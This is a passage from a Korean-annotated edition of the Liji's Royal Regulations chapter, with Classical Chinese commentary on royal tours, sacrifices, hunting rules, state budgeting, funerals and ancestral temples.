故.不召見也라.\n[祡:섶나무 때어 천제 지내다(燒柴燓燎以祭天神) (古音은 재)]\n[燔:구을번,불사를번,제육][燎:횃불요]\n命大[泰]師陳詩하야 以觀民風하며 命市納賈[嫁]하야 以觀民之所好[去聲]惡[去聲]이니 志淫이면 好辟[僻]이니라.[599]\n大師는 樂官之長이라. 詩以言志니 采錄而觀覽之則風俗之美惡을 可見이오. 政令之得失을 可知矣라. 物之供用者이 皆出於市而價之貴賤則係於人之好惡이니 好質則用物이 貴하고 好奢則侈物이 貴니 志流於奢淫則所好이 皆邪僻矣라.\n命典禮하야 考時月하며, 定日하며 同律禮樂制度衣服하야 正之니라.[600]\n典禮는 掌禮之官也라. 考時月定日은 卽舜典所云, 恊時月正日也라. 考校四時及月之大小라. 時有節氣早晩하고 月有弦望晦朔하고 日有甲乙先後하니 考之하야 使各當其節이오, 法律禮樂制度衣服이 皆王者所定이니 天下一君이라. 不容有異異則非正矣라. 故.因巡守所至而正其不同者하야 使皆同也라.\n[恊=協:화합,복종. =愶:겁내다(怯); 위협하다(威力想恐); 으르다(脅)]\n嚴陵方氏曰天子分土建國命諸侯以守之未必人人稱職也故五年一巡而省之巡守者巡所守而已蓋諸侯非徒守天子之土亦所以守天子之法天子巡之將以脩其法而已天子之法至周詳矣方虞夏之際其爲法尙未能詳故其脩之宜數也春主東方而東巡守所以順天時也行必以仲月者以見巡守之禮武適而不用中焉五月八月十月一月巡守其義亦若是而已岱宗者蓋岱泰山也宗者尊也以其爲五岳之長故祀之爲東岳而稱其名爲岱宗也於東言岱則知南之爲衡西之爲華北之爲恒矣巡守必居方岳之下者依名山而居使諸侯知所趨故也柴而望祀山川卽詩時邁言巡守告祭柴望是也以天之高故燔柴以上達以山川之遠故望而祀之皆所以告至而已問百年者就見之所以乞老者之言也詩所以言志風所以從上詩言之哀樂足以見民風之厚薄民風之厚薄足以知(601)\n上政之得失故命大師陳詩焉志淫言所志之淫好辟言所好之辟民之所志所好不必皆淫辟然止以是爲言者蓋觀之所以防其淫辟故也賈卽價也王者必班曆以一天下正朔故巡守則考時月焉作曆者不能無嬴縮及其久也日不能無差故巡守則必定日焉蓋考之慮其不一定之欲其無差律有陰陽禮有隆殺樂有淸濁制有小大度有長短衣服有文質未嘗同也此所謂同欲其同出於天子而已同出於天子則正於一故終言正之同則所以正之故也.\n[邁(매):멀리 가다(遠行); 지나가다(過); 늙다(老); 돌아보지않다(不顧); 힘쓰다(力行)]\n[嬴(영):성(秦姓); 풀다(解); 가득하다(滿); 나머지(餘); 끝(端); 조화귀신(造化神); 아름답다(美)]\n○ 延平周氏曰告至然後覲諸侯神人之序也覲諸侯然後就見百年之有道者貴賤之序也就見百年者所以訪時政之得失旣訪時政矣然後觀民風故命陳詩旣觀民風矣然後觀民情故命市納賈以觀其美惡好非其所好惡非其所惡則志淫好辟可知矣而復言之者示其尤在所致詳也命典禮以考正之者乃其所終始者也定於考爲詳正於定爲略.\n山川神祗를 有不擧者이 爲不敬이니 不敬者는 君을 削以地요,[603]\n凡祭이 有其擧之면 莫敢廢也이니 故.不擧者이 爲不敬이라. 山川은 地之望也라 故.削地焉이니라.\n宗廟이 有不順者이 爲不孝이니 不孝者는 君을 絀[黜]以爵이오,[603]\n[絀:(출:꿰매다,물러나다),(굴:굽다曲)=黜(내칠출)]\n宗廟不順은 如紊昭穆之次,失祭祀之時니 皆不孝也라. 爵者는 祖宗所傳이라 故,絀爵焉이니라.\n變禮易樂者이 爲不從이니 不從者는 君을 流이오, 革制度衣服者이 爲畔이니 畔者는 君을 討이오,[603]\n不從은 違戻也요 流者는 竄之遠方이오, 討者는 聲罪致戮이니, 孟子이 曰 天子는 討而不伐이라 하시니라. 此章四君字이 皆謂國君이라.\n[戻:짐수레옆문태][竄(찬):숨다(匿); 달아나다(逃); 귀양보내다(誅竄, 驅逐); 고치다(竄改)]\n有功德於民者는 加地進律이니라.[604]\n應氏이 曰 律者는 爵命之等이니 加地而進之는 所以示勸也라.\n嚴陵方氏曰不擧其祭祀之禮者爲不敬不順其昭穆之序者爲不孝削地所以貶其國絀爵所以貶其身神祗衆矣止以山川爲言者蓋諸侯之所守以山川爲大故也天曰神地曰祗此以山川爲神祗者自其無所屈言之皆可謂之神自其有所別言之皆可謂之祗也禮外也故可變樂內也特可易而已此淺深之別從則隨而有所順畔則敵而有所言不從則未至於畔也特爲不從而已所以爲輕重之別也流則放之唯其所之討則以法而致其誅焉夫巡守固所以同律禮樂制度衣服正之也則其變禮易樂革制度衣服者必涗討其君豈爲過哉\n[絀:(출:꿰매다(縫); 물러나다(退). (굴:굽다(曲)] [涗(세):잿물(灰汁); 미지근하다(微溫); 맑다(淸)]\n○ 長樂陳氏曰不敬則無禮矣不孝則不仁矣不從與畔則不道矣無禮未至於不仁不孝未至於不道此所以削地而後絀爵絀爵而後流(涗)討也削絀涗討而繼之以加地進律者退不肖而後可以進賢故也易大有遏惡而後揚善詩巧言先如怒而後如祉皆禮意也. [遏:그칠알,막을알]\n○ 長樂劉氏曰就見百年之老則民不敢慢於其親采察萬民之詩則國不敢瀆於其化觀其百物之價則民不敢淫於所好考其正朔之恊則事不敢違於其時同其律度之程則民不敢輕於其信肅其宗廟之祀則下不敢忘於其先謹其禮樂之行則民不敢悖於其中執其制度之常則臣不敢肆於其僭賞其功德之懋則下不敢怠於其脩凡是十者邦之大典也先玉所以仁民之綱而御諸侯之大柄也\n[瀆(독):개천; 도랑(溝); 흐리다(濁); 거만하다(慢); 욕되다(辱); 변경하다(變更)][懋:힘쓸무,성대할무]\n五月에 南巡守하야 至于南嶽하야 如東巡守之禮하며, 八月에 西巡守하야 至于西嶽하야 如南巡守之禮하며, 十有一月에 北巡守하야 至于北嶽하야 如西巡守之禮니, 歸假[格]于祖禰호대 用特이니라.[605]\n假는 至也이니 歸至京師하야 卽以特牛로 告至于祖禰之廟라.\n嚴陵方氏曰天子之出必造乎禰及其歸也必假于祖禰出而造之所以象生時之必告也歸而假之所以象生時之必面也特一牛也用特以見約焉先三菲飮食而致孝乎鬼神所不敢約也然其約如此則巡守之不爲煩費可知[菲:엷을비]\n023. 天子는 將出할새 類乎上宰하며 宜乎社하며 造乎禰하고, 諸侯는 將出할새 宜乎社하며 造乎禰하나니라.[606]\n類,宜,造는 皆祭名이라. 後章에 言,天子將出征則此出이 爲巡守也요, 諸侯則朝覲會同之出歟인저.\n石林葉氏曰天子君也君則天道故類乎上宰諸侯臣也臣則地道故宜乎社\n○ 李氏曰類其禮有類于正祭也宜其義有稱于事也造造而告之也天神遠人而尊故言禮以致其敬地祗近人而親故言義以致其意于祖禰則以生道事之而已故告以道其事類乎上帝宜乎社造乎禰尊卑之序也泰誓曰受命于文考類于上宰宜乎冢土告之先後之序也[冢(총):무덤,사직단. 冡(몽):덮어쓰다,어둡다]\n024. 天子이 無死하야 與諸侯로 相見曰祖이니 考禮하며 正刑하며 一德하야 以尊于天子니라.[607]\n無事는 無死喪寇戎之事也라. 考禮者는 稽考而是正之하야 使無違僭也요, 正刑者는 行以公平하야 使無偏枉也요, 一德은 無貳心也이니, 三者이 皆尊天子之事라.[寇:도적구]\n天子이 賜諸侯樂하실새 則以柷으로[昌六切] 將之하고 賜伯子男樂하실새 則以鼗로 將之니라.[607]\n柷은 形如漆桶이니 方이 二尺四寸이오 深이 一尺八寸이니 中有椎柄하니 連底撞之하야 令左右擊이니 所以合樂之始요, 鼗는 如皷而小하고 有柄하니 持而搖之則旁耳自擊하니 所以節樂之終이라. 將之는 謂使者이 執此以將命也라.[椎(추):몽치 방망이; 치다; 순박하다; 어리석다][鼗(도):땡땡이북][皷=鼓]\n○ 疏曰 柷은 節一曲之始니 其事寬이라. 故,以將諸侯之命이오, 鼗는 節一唱之終이니 其事狹이라. 故,以將伯子男之命이니라.\n025. 諸侯이 賜弓矢然後에 征하고, 賜鈇鉞然後에 殺하고,[608]\n[鈇:작도부,=斧. 鉞:큰도끼월]\n鈇은 莝斫刀也요, 鉞는 斧也라.[莝:여물좌. 斫:벨작]\n賜圭瓚然後에 爲鬯이니 未賜圭瓚이어시며 則資鬯於天子이니라.[608]\n圭瓚璋瓚은 皆酌鬯酒之爵이니 以大圭爲瓚之柄者曰圭瓚이라. 釀秬鬯爲酒하야 芬香이 條鬯於上下이니 故,曰鬯이라. 祭酒灌地降神에 必用鬯이라. 故.未賜圭瓚則求鬯於天子요, 賜圭瓚然後에 得自爲也라.[秬:검은기장거]\n馬氏曰春朝夏宗秋覲冬遇皆所以爲朝也禮與刑天子之所出而諸侯則謹其法而已所謂一德者使之同謀恊慮而不敢有二心也凡此皆所以尊于天子征與殺先王所以致天討弓矢鈇鉞皆先王之所以致天討之器諸侯必俟天子之賜然後得以征伐者蓋臣無有作威而所用則唯君之所賜而已以征對殺則殺爲重以弓矢對鈇鉞則鈇鉞爲重諸侯之出討有罪未賜鈇鉞而有所不敢殺則亦征之而已記曰獻莫重於裸則是鬯爲禮之至也孔子亦曰鬯者敬之至也以鬯爲敬之至則天子未賜圭瓚則諸侯有所不敢也雖然宗廟之禮不可廢未賜圭瓚則資鬯於天子而所用者璋瓚而已\n○ 嚴陵方氏曰考禮者考天子之禮而行之也正刑者正天子之刑而用之也行天子之禮則禮樂自天子出矣用天子之刑則征伐自天子出矣禮樂征伐皆出自天子則諸侯豈有異心者哉故能一德以尊于天子也弓矢利以用於遠鈇鉞利以用於近征者以行於遠爲主故賜弓矢然後得專征殺者以制於近爲主故賜弓矢然後得專征殺者以制於近爲主故賜鈇鉞然後得專殺鬯卽秬鬯也秬黍一稃二米和氣所生以爲酒曰鬯以其至和之氣鬯焉故也\n026. 天子이 命之敎한 然後에 爲學이니, 小學은 在公宮南之左하고 大學은 在郊하니, 天子曰辟廱이요, 諸侯曰頖宮이니라.[608]\n疏曰 百里之國은 國城이 居中하고 面有五十里하니 二十里에 置郊하고, 郊外에 仍有三十里니라. 七十里之國은 國城이 居中하고, 面有三十五里하니, 九里에 置郊하고, 郊外에 仍有二十六里니라. 五十里之國은 國城이 居中하고, 面有二十五里하니 三里에 置郊하고, 郊外에 仍有二十二里하니 此是殷制요, 若周制則畿內千里는 百里爲郊하고, 諸侯之郊는 公은 五十里요, 侯伯은 三十里요, 子男은 十里니 近郊이 各半之라. 天子諸侯이 皆近郊이 半遠郊하니라. 此小學大學은 殷制요, 周則大學이 在國하고, 小學이 在西郊라. 辟은 明也요, 雍은 和也니 君則尊明雍和於此學中하야 習道藝하야 使天下之人으로 皆明達諧和也라. 頖之言은 班이니 所以班政敎也라.[頖:학교이름반]\n○ 張子이 曰 辟雍이 古無此名이러니 蓋始於周하니 周有天下에 遂以名天子之學하니라. 說文에 云,頖宮은 諸侯鄕射之宮也라.\n○ 舊說에 辟雍은 水環如璧하고 泮宮은 半之하니 蓋東西門이니 以南은 通水하고 北은 無水也라.[泮:학교반]\n臨川王氏曰天下不可一日無敎學不可一日廢於天下王制所謂命之敎然後爲學者何也曰學固不可一日無於天下然其敎不可不資之天子資之天子道德所以一也命之敎然後爲學禮乎曰立諸侯矣未有不命之敎而不得立學也蓋古之立國也必資禮於天子所謂命之敎矣\n○ 嚴陵方氏曰命之敎然後爲學所以一道德也言小學在左則以見大學之在右言大學在郊則以見小學之在國小學所以處學之小者大學所以處學之大者若灑掃應對之類則小學之道也若致知格物之類則大學之道也小學之道方生而進大學之道己成而定方生而進者宜養之於內己成而定者可達之於外故或在國或在郊者以此爲制也\n027. 天子이 將出征이어든 類乎上帝하고, 宜乎社하고, 造乎禰하고, 禡[馬怕反]於所征之地하고, 受命於祖하고, 受成於學하시나니라.[613]\n[禡(마):진터제(師旅所止地祭名); 마상제(馬上祭). 怕(파):두렵다(懼)]\n禡는 行師之祭也라. 受命於祖는 卜於廟也요, 受成於學은 決其謀也라.\n出征하사 執有罪하야, 反하사 釋奠于學하야, 以訊馘으로 告니라.[613]\n[馘(괵):왼편 귀베어 바치다(軍法獲而不服則殺而獻其左耳); 목 베다(軍戰斷首)][訊:물을신(問); 고하다(告); 간하다(諫); 국문하다(鞫罪); 다스리다(治)]\n獲罪人而反則釋奠于先聖先師而告訊馘焉하니 訊은 謂其魁首當訊問者요, 馘은 所截彼人之左耳니, 告者는 告其多寡之數也라.\n[截(절):끊다; 말을 잘하다(언변이 좋다)]\n長樂陳氏曰造乎禰則造于祖可知受命于祖則用命于社可知受命于學則謀始於朝可之類宜造禡先後之次受命受成尊卑之次訊者問其首馘者截其耳釋奠于學而告之者以學者文德之地征者威武之事於其文德之地告以成武之功以明用武以文任威以德而已此僖公所以在頖獻馘而國人所以頌其文武也\n028. 天子諸侯이 無事이어든 則歲三田이니. 一爲乾[干]豆요, 二爲賓客이요, 三爲充君之庖이니라.[614]\n[庖(포):부엌,요리사,요리]\n無事는 無征伐出行喪凶之事也라. 歲三田者는 謂每歲田獵이 皆是爲此三者之用也라. 乾豆는 腊之하야 以爲祭祀之豆實也라. [腊:포석]\n○ 疏曰先宗廟하고, 次賓客者는 尊神敬賓之義라.\n長樂陳氏曰蒐苗獮狩必法於田故皆謂之田田有三禮故謂之三田則猶祭八神謂之八蜡也田必於無事之時則異夫好田獵畢戈不修民事與喪蒐者也乾豆所以祭祀祭祀而後賓客賓客而後充庖此順卦先所養而後所自養之意也祭祀賓客以上殺次殺充庖以下殺厚所養而薄所自養也周官太宰之九式先祭祀賓客之式而後羞服內饔先祭祀燕飮之割亨而後羞膳籩人醢人先祭祀賓客之遷羞而後內羞鹽人先祭祀賓客之鹽而後王之飴鹽是亦先所養而後自養之意也.\n[蒐:모을수.꼭두서니,숨다,찾다] [狩:사냥수][蜡:(사:납향제사:年冬祭名)(처:쉬파리][饔:아침밥옹.饔飧][飴:엿이,기를시,먹일시]\n○ 嚴陵方氏曰事謂喪荒之類天子諸侯於無事之歲然後田則其田也可謂有節矣春蒐夏苗秋獮冬狩則田所行之時也乾豆賓客充君之庖則田所爲之事也所行之時有四所爲之事有三故曰歲三田也與易言田獲三品同義所謂三田如是而已公羊氏以夏不田誤矣夫乾豆所以奉神賓客所以奉人充庖所以奉已先神而後人先人而後己故其序如此[獮(선:가을사냥.죽여잡을미)]\n無事而不田을 曰不敬이오, 田不以禮를 曰暴天物이니. 天子는 不合圍하고, 諸侯는 不掩羣이니라.[615]\n書曰暴殄天物이라 하니라. 合圍는 四面圍之也요, 掩羣者는 掩襲而擧羣取之也라.[殄:멸할진.끊어짐.다함]\n馬氏曰謂祭無益故無事而不田曰不敬謂暴無傷故田不以禮曰暴天物無事而田非以從獸無厭蓋田者所以供祖廟可田而不田則是謂祭無益也故曰不敬田雖以殺爲上而殺之中又有禮焉故曰不以禮雖爲之詭遇一朝而獲十君子不取也\n[詭(궤):속이다.꾸짖다.헐뜯다 어그러짐,괴이함]\n天子이 殺則下大綏[緌]하고, 諸侯이 殺則下小綏하고, 大夫이 殺則止佐車이니. 佐車이 止則百姓이 田獵이니라.[616][綏:(편안수,갓끈수)(기머리장식유). 緌(유):관끈 늘어지다(冠纓下垂)]\n殺은 獲也니 獲所驅之禽獸也라. 綏는 旌旗之屬也요, 下는 偃仆之也라. 佐車는 卽周禮驅逆之車이니 驅者는 逐獸하야 使趨於田之地요, 逆者는 要逆其走而不使之散亡也라. 此는 言田獵之禮이 尊卑貴賤之次序이니라.\n[偃:누일언(쓰러지다; 쏠리다; 눕다; 눕히다; 쉬다; 교만하다; 뒷간; 堰(방죽 언)][仆:업드릴부(뒤집어짐,죽음)]\n馬氏曰自天子不合圍至百姓田獵此田以禮之事也天子勢足以合圍故曰不合圍諸侯勢足以掩羣故曰不掩羣此非特田之以禮又示其有愛物之仁也\n獺이 祭魚然後에야 虞人이 入澤梁하며. 豺이 祭獸然後에야 田獵하며. 鳩이 化爲鷹然後에 設罻[尉]羅하며. 草木이 零落然後에 入山林하며. 昆蟲이 未蟄이어든 不以火田하며. 不麛[迷]하며, 不卵하며, 不殺胎하며, 不殀[於表反]夭[烏老反]. 不覆[芳六反]巢이니라.[617]\n梁은 絶水取魚者라. 周禮註에 云,水堰也이니 堰水爲關空하고 以笱承其空하니라. 月令에 仲春에 鷹化爲鳩이라하니 此言鳩化爲鷹은 必仲秋也라. 罻羅는 皆捕鳥之網이오, 麛는 獸子之通稱이오, 殀는 斷殺之也요, 夭는 禽獸之稚者이니, 此十者는 皆田之禮니, 順時序.廣仁意也라.\n[獺:수달달][豺:승냥이시,狼屬][罻:새잡는그믈위][殀=夭:일찍죽을요]\n[堰:방죽보][笱:통발구][麛:새끼미(사슴새끼)]\n長樂劉氏曰天生萬物以時聖人贊之以德地生萬物以氣聖人贊之以禮德正於內則時罔不和禮正於外則氣罔不順和順鐘於萬物則生成不失其宜和順浹於人心則動用不違於法此聖王所以盡人之性於上而盡萬物之性於天下也堯舜禹湯文武之爲道莫不以是先焉乃能嗣天以仁而使萬物各正其性命也故取之各有其時則物得以曲遂其生而材無不戒矣用之各有其制則民得以禮節其欲而德罔不礪矣[礪:숫돌]\n○ 嚴陵方氏曰獺祭魚蓋孟春之月也豺祭獸蓋季秋之月也魚陰物也其性隨陽而上春爲陽中魚於是時則易取焉故獺祭魚而入澤梁者因以爲取魚之候也獸陽物也其質乘陰而成秋爲陰中獸於是時則可取焉故豺祭獸而田獵者因以爲取獸之候也虞澤虞也周官有山虞有澤虞月令於季秋之月言草木黃落蟄蟲咸俯則凡此所言皆主季秋可知然考之周官則有不合特殷之制異爾麛卵己見曲禮士不取麛卵解然經言秋宜犢麛又言韭以卵非不取也亦禁至使有節而已不覆巢者不特惡傷其孚乳而又惡其盡物之利焉\n029. 冢宰이 制國用호대, 必於歲之杪는 五穀이 皆入하니, 然後에야 制國用이니라. 用地小大하며, 視年之豐耗하야. 以三十年之通으로 制國用하고, 量入以爲出이니라.[619]\n以三十年之通者는 通計三十年所入之數하야 使有十年之餘也라. 蓋每歲所入을 均析爲四而用其三하고 每年餘一하야 則三年而餘三이면 又足一歲之用矣니, 此所以三十年而有十年之餘也라. 鄭註에 以九年言之하니 蓋積三十年內閏月이 當一歲也라. 一說에 二十七年則有九年之餘하니 言三十者는 擧成數耳라.\n祭用數之仂[勒]이니라.[620-1]\n鄭註에 以仂으로 爲十一이라하고, 疏에 以爲分散之名하니 大槩이 是總計一歲經用之數而用其十分之一하야 以行常祭之禮也라.\n[仂(륵):나머지(餘); 십분의 일(十分之一); 부지런하다(勵)][槩:평미레]\n喪엔 三年은 不祭니, 唯祭天地社稷호대 爲越紼而行事이니. 喪은 用三年之仂이니라.[620-2]\n喪은 凶事이오, 祭는 吉禮니, 吉凶이 異道하야 不得相干이라. 故,三年不祭하고 唯祭天地社稷者는 不敢以卑廢尊也라. 未葬以前에 常屬紼於輴車하야 以備火災하니, 喪在內而行祭於外이 是踰越喪紼而往也라. 喪三年而除하니 中間禮事이 繁難이라. 故,總計三歲經用之數而用其十之一也라.[輴:상여순]\n金華邵氏曰先王之制國用不爲定法非若後世之拘於繁文守常而不知變者故爲法也必於歲之杪則五穀皆入可以視其所入而爲所出也又用地小大視年之豊耗以三十年通融之法留九年之蓄然後計見在之數以爲用度之法豊不使之有餘耗不使之不足曷嘗有定法哉如此故天不能使之災地不能使之窮而凶荒水早其民不至於流離饑餓者此也祭用經用之什一者不敢略於神也喪用三年之仂抑亦送死之禮尤所不當略乎.[杪:나무끝초]\n喪祭에 用不足을 曰暴이오, 有餘를 曰浩니. 祭는 豐年이라도 不奢하며, 凶年이라도 不儉이니라.[622-1]\n暴者는 殘敗之義니 言不齊整也요, 浩者는 汎濫之義니 所謂以美沒禮也라. 惟其制用이 有一定之則이라. 是以歲有豊凶而禮無奢儉하니, 此는 記者之言이라. 雜記云.凶年에 祀以下牲은 孔子支言也라 하니라.\n國이 無九年之蓄을 曰不足이오. 無六年之蓄을 曰急이오. 無三年之蓄을 曰國非其國也이니. 三年耕에 必有一年之食이오. 九年耕에 必有三年之食이니. 以三十年之通이면, 雖有凶旱水溢이라도, 民無菜色이니. 然後에 天子이 食호대 日擧以樂이니라.[622-2]\n飢而食菜則色病이니 故,云菜色이라. 殺牲盛饌曰擧이니 周禮에 王.日一擧.鼎十有二.物皆有俎.以樂侑食이라하고, 又云,大荒則不擧者는 蓋偶値凶年하야 雖有備나 亦當貶損耳라.[侑:권할유]\n馬氏曰禮之薄厚與年之上下豊年則用豊年之仂凶年則用凶年之仂豊年而加於仂之外則謂之奢凶年而略於仂之內則謂之儉乃所以與年之上下也預備不虞者古之善政也急者迫而不緩也無九年六年之蓄雖非完國猶足以爲國也至於無三年之蓄非其國也蓋國之所以爲國者以其民也民之所以爲民者以有財也苟無其財則民散而之四方矣故曰無三年之蓄非其國也三年耕必有一年之食推而至於二十七年耕必有九年之食以三十年言之者擧成數也說者以爲三十年爲一世三年耕必有一年之食至三十年之通此人力也雖有凶早水溢此天變也人力備則可以應天變蓋王者與民同患故雖有凶早水溢而民無菜色於下然後天子食日擧庶羞備禮而以樂侑之也\n天子는 七日而殯하야, 七月而葬하고. 諸侯는 五日而殯하야, 五月而葬하고. 大夫士庶人은 三日而殯하야, 三月而葬이니. 三年之喪은 自天子하야 達이니라.[624]\n諸侯는 降於天子而五月이오, 大夫는 降於諸侯而三月이오, 士庶人은 又降於大夫는 故,踰月也라. 今總云.大夫士庶人.三日而殯은 此固所同이어니와 然,皆三月而葬則非也라. 其以上文降殺俱兩月로 在下可知라. 故.略言之歟인저. 孔子이 引左傳,大夫三月,士踰月者하야 謂大夫이 除死月爲三月이오, 士이 數死月爲三月이니 是踰越一月이라. 故,言踰月耳라하니 誠如此則是大夫四月이요 士三月이니, 謂大夫이 踰越一月은 猶可어니와 豈得謂士踰越一月乎아? 此이 不可通이니 當從左氏說爲正이니라.\n長樂劉氏曰殯與葬生者送死之事也天子功德施於四海諸侯功德洽於一國大夫士恩德孚於一家庶人恩德著於其族固有大小之差矣及其終也臣子之心未忍死之猶冀其復生也故其殯也不得已而殯之是以有七日五日之差雖庶人之殯猶俟三日是豈得已哉.若夫葬者當其朝歲諸侯雖在六服罔有弗至或奔喪也或會葬也或會於練祥也亦如四時之朝焉其不當朝歲之諸侯則爲位服於其國而遣卿以會葬同軌之內畢至者謂此也七月而葬所以極四海之哀誠也諸侯之葬必五月者相爲賓也同盟之諸侯也雖非同盟而爲其舅甥姑姉妹之邦也大夫士庶人三月而葬其事具其誠盡矣[孚(부):信,不失信. 孚甲,孚信,孚佑]\n庶人은 縣[玄]封하며[窆], 葬不爲[去聲]雨止하며, 不封不樹하며, 喪不貳事니라.[626-1]\n此는 言庶人之禮라. 庶人은 無碑繂이오 縣繩下棺이니, 故云,縣窆也라. 不封은 不爲丘壟也라. 大夫士에 旣葬에 公政을 入於家하고 庶人則終喪에 無二事也이니라.\n[繂(률):배 닻줄(維舟大索); 옥받침(玉籍)][壟(롱):밭두둑,무덤,언덕]\n自天子하야 達於庶人히. 喪從死者요, 祭從生者이니라.[626-2]\n中庸에 曰 父爲大夫,子爲士,葬以大夫,祭以士,父爲士,子爲大夫,葬以士,祭以大夫이라하니, 蓋葬用死者之爵이오, 祭用生者之祿이 與此意同하다.\n支子는 不祭니라.[627-1]\n說見曲禮하다.\n長樂陳氏曰縣棺而下之封土而瘞之不爲兩止以其有進無退也 喪不二事以其不可奪親也魯葬定公與敬嬴以兩不克葬而春秋譏之則不爲兩止者不特庶人而已天子崩王世子聽於冡宰三年則喪不貳事亦不特庶人而已必以庶人爲言以其葬具之不備易以兩止食用之不足易以事奪故也祭從生者而有所謂從死者故父爲士子爲天子諸侯其尸服則以士服支子雖不祭而有所謂祭故宗子爲士庶子爲大夫則以上牲祭於宗子之家.\n[瘞(예):묻다(埋); 제터(祭地); 산소(墓所)]\n030. 天子는 七廟이니, 三昭 三穆과, 與大祖之廟而七이오. 諸侯는 五廟이니, 二昭 二穆과, 與大祖之廟而五이요. 大夫는 三廟이니, 一昭 一穆과, 與大祖之廟而三이오. 士는 一廟이요. 庶人은 祭於寢이니라.[627-2]\n諸侯太祖는 始封之君也이오, 大夫太祖는 始爵者也라. 士一廟는 侯國中下士也니 上士는 二廟이니라. 天子.諸侯正寢을 謂之路寢이오, 卿,大夫,士曰適室이니 亦謂之適寢이라. 庶人은 無廟이라. 故,祭先於寢也이니라.\n朱子曰昭之爲言明也以其南面而向明也曰其爲向明何也曰此不可以空言曉也今且假說諸侯之廟以明之蓋周禮建國之神位左宗廟則五廟皆當在公宮之東南矣其制則孫毓以爲外爲都宮大朝在北二昭二穆以次而南是也蓋大祖之廟始封之君居之昭之北廟二世之君居之穆之北廟三世之君居之昭之南廟四世之君居之穆之南廟五世之君居之廟皆南向各有門堂室寢而牆宇四周焉大祖之廟百世不遷自餘四廟則六世之後每一易世而一遷其遷之也新主祔于其班之南廟南廟之主遷於北廟北廟親盡則遷其主于大廟之西夾室而謂之祧凡廟主在本廟之室中皆東向及其祫于大廟之室中則唯大廟東向自如而爲最尊之位羣昭之八乎此者皆列於北牖下而南向羣穆之八乎此者皆列於南牖下而北向南向者取其向明故謂之昭北向者取其深遠故謂之穆蓋羣廟之列則左爲昭而右爲穆祫祭之位則北爲昭而南爲穆也曰六世之後二世之主旣祧則三世爲昭而四世爲穆五世爲昭而六世爲穆乎曰不然也昭常爲昭穆常爲穆禮家之說有明文矣蓋二世祧則四世遷昭之北廟六世祔昭之南廟矣三世祧則五世遷穆之北廟七世祔穆之南廟矣昭者祔則穆者不遷穆者祔則昭者不動此所以祔必以班尸必以孫而子孫之列亦以爲序若武王謂文王爲穆考成王稱武王爲昭考則自其始祔而已 然而春秋傳以管蔡郕霍爲文之昭邘晉應韓爲武之穆則雖其旣遠而猶不易也豈其交錯彼此若是之紛紛哉曰廟之始立也二世昭而三世穆四世昭而五世穆則固當以左爲尊而右爲卑矣今乃三世穆而四世昭五世穆而六世昭是則右反爲尊而左反爲卑也而可乎曰不然也宗廟之制但以左右爲昭穆而不以昭穆爲尊卑故五廟同爲都宮則昭常在左穆常在右而外有以不失其序一世自爲一廟則昭不見穆穆不見昭而內有以各全其尊必大祫而會於一室然後序其尊卑之次則凡已毁未毁之主又畢陳而無所易唯四時之祫不陳毁廟之主則高祖有時而在穆其禮未有考焉意或如此則高之上無昭而特設位於祖之西禰之下無穆而特設位於曾之東也與曰然則毁廟云者何也曰春秋傳曰壞廟之道易檐可也改塗可也說者以爲將納新主示有所加耳非盡撤而悉去之也曰然則天子之廟其制若何曰唐之文祖虞之神宗殷之七世三宗其詳今不可考獨周制猶有可言然則漢儒之記又已有不同矣謂后稷始封文武受命而王故三廟不毁與親廟四而七者諸儒之說也謂三昭三穆與太祖之廟而七文武爲宗不在數中者劉歆之說也雖其數之不同然其位置遷次宜亦與諸侯之廟無甚異者但如諸儒之說則武王初有天下之時后稷爲太祖而組紺居昭之北廟大王居穆之北廟王季居昭之南廟文王居穆之南廟猶爲五廟而已至成王時則組紺祧王季遷而武王祔至康王時則大王祧文王遷而成王祔至昭王時則王季祧武王遷而康王祔自此以上亦皆且爲五廟而祧者藏于太祖之廟至穆王時則文王親盡當祧而以有功當宗故別立一廟於西北而謂之文世室於是成王遷昭王祔而爲六廟矣至共王時則武王親盡當祧而亦以有功當宗故別立一廟於東北謂之武世室於是康王遷穆王祔而爲七廟矣自是以後則穆之祧者藏於文世室昭之祧者藏於武世室而不復藏於大廟矣如劉歆之說則周自武王克殷卽增二廟於二昭二穆之上以祀高圍亞圍如前遞遷至于懿王而始立文世室於三穆之上至孝王時始立武世室於三昭之上此爲少不同耳曰然則諸儒與劉歆之說孰爲是曰前代說者多是劉歆愚亦意其或然也然則大夫士之制奈何曰大夫三廟則視諸侯而殺其二然其太祖昭穆之位猶諸侯也適士二廟則視大夫而殺其一官師一廟則視大夫而殺其二然其門堂室寢之備猶大夫也曰廟之爲數降殺以兩而其制不降何也曰降也天子之山節藻梲復廟重檐諸侯固有所不得爲者矣諸侯之黝堊斵礱大夫有不得爲矣大夫之倉楹斵桶士又不得爲矣曷爲而不降哉獨門堂室寢之合然後可名於宮則其制有不得而殺耳蓋由命士以上父子皆異宮生也異宮而死不得異廟則有不得盡其事生事存之心者是以不得而降也.\n[毓(육):기르다(育); 어리다(稚); 번성하다(盛多) (育과 同字)][祧:체천조.遷廟,사당(遷主所藏)][祫(협):合祭先祖][牖(유):들창; 바라지(壁窓); 엇살창(穿壁以木爲交䆫); 향하다(向); 밝히다; 깨우치다(開明); 인도하다(導)][郕(성):산동성영양부지방명][霍(곽):빠르다(疾),설사,(歐泄),곽란,(霍亂),칼날 번쩍임(刀光閃).國名,땅 이름(南嶽別名)][邘:나라이름우(鄭地名:周武王子所封][奈어찌내][梲:동자기둥절(梁上短柱藻),작대기탈(大杖)][斵쪼갤착(斫,析)(斲의 俗字)][堊:흰흙학(고운흙)색벽학][黝(유):검푸른빛,우뚝함,검칠][礱(롱):갈다,맷돌]\n○ 長樂陳氏曰積厚者流澤廣積薄者流澤狹故天子七廟諸侯五廟大夫三廟士一廟廟而祭之仁之至也以七以五以三以一義之盡也舜之時禋于六宗與藝祖而七商書亦曰七世之廟可以觀德則七廟之制其來尙矣先王之於死者常待之以生由士而上生而異宮死則爲之立廟庶人則生非異宮死則祭於寢而已.\n[禋:청결히제지낼인]\n031. 天子諸侯의 宗廟之祭를 春曰礿[藥]이오, 夏曰禘체요, 秋曰嘗이오, 冬曰烝이니라.[633]\n鄭氏이 曰 此는 蓋夏殷之祭名이니 周則,春曰祠요, 夏曰礿이오, 以禘로 爲殷祭하니라.\n○ 疏曰礿은 薄也니, 春에 物未成하야 祭品鮮薄也요, 禘者는 次第也이니 夏에 時物이 雖未成이나 宜依時次第而祭之라. 嘗者는 新穀熟而嘗也요, 烝者는 衆也이니, 冬에 時物成者이 衆也라. 鄭이 疑爲夏殷祭名者는 以其與周不同이오, 